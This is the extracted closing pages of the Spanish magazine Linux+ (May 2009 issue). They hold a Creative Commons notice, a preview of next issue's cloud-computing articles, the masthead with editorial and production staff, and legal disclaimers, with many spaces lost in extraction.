El texto de este artículo está licenciado ba-jo Creative Commons Atribución. La edito-rial ha tenido a bien el comprometerse con la causa del conocimiento libre y liberar, en su Web, los contenidos de esta sección regular, dos meses después de aparecer su versión física en los kioscos.

Este artículo es Libre

Figura 1. Así se ve el sitio web de WorthIdea, donde todos vosotros podéis compartir vuestras ideas

Figura 2. Página de búsqueda

Page 90: Linux_05_2009_ES

El próximo número incluirá los siguientes artículos: •¿CloudComputing:¿granoportunidadparaLinux?•SeguridaddeSistemasdeCloudComputing•MáquinasVirtuales,parteII•AplicacionesdeInternetEnriquecidas(RIA):ProgramandoRIAconFlexyAMFPHP•DescubriendoaCinelerra:Unclásicoeditorlibredevideo

La Redacción se reserva derecho a modificar sus planes

Services RéseauEl tema principal del siguiente número de Linux+ será:

MensualLinux+estápublicadoporSoftware-WydawnictwoSp.zo.o.

Producción:MartaKurpiewska,[email protected] jefe:PaulinaPyrowicz,[email protected]:FranciscoJavierCarazoGil,JoséCarlosCortizoPérez,DavidPuenteCastro,JorgeEmanuelCapurro

Correctores:PabloCardozo

Preparación de DVDs:IreneuszPogroszewski,AndrzejKuca

DTP:Marcin ZiółkowskiGraphics&DesignStudio,www.gdstudio.pl

Diseño portada:AgnieszkaMarchocka

Gráfico:Łukasz Pabian – "insane"Publicidad:[email protected]ón:[email protected]

Distribución:Coedis,S.L.Avd.Barcelona,22508750MolinsdeRei(Barcelona),España

Dirección:Software–Wydawnictwo Sp. z o.o., ul.Bokserska1,02-682Varsovia,Polonia

LaRedacciónsehaesforzadoparaqueelmaterialpublicadoenlarevistayenlosDVDsquelaacompañanfuncionencorrectamente.Sinembargo,noseresponsabilizadelosposiblesproblemasquepuedansurgir.Todaslasmarcascomercialesmencionadasenlarevistasonpropiedaddelasempresascorrespondientesyhansidousadasúnicamente con fines informativos.

LaRedacciónusaelsistemadecomposiciónautomática

LosDVDsincluidosenlarevistahansidocomprobadosconelprogramaAntiVirenKit,productodelaempresaGDataSoftwareSp.zo.o.

¡Advertencia! Quedaprohibidalareproduccióntotaloparcialdeestaublicaciónperiódica,porcualquiermediooprocedimiento,sinparaellocontarconlaautorizaciónprevia,expresayporescritodeleditor.

Linux ® es una marca comercial registrada de Linus Torvalds.

Cloud Computing

Page 91: Linux_05_2009_ES
Page 92: Linux_05_2009_ES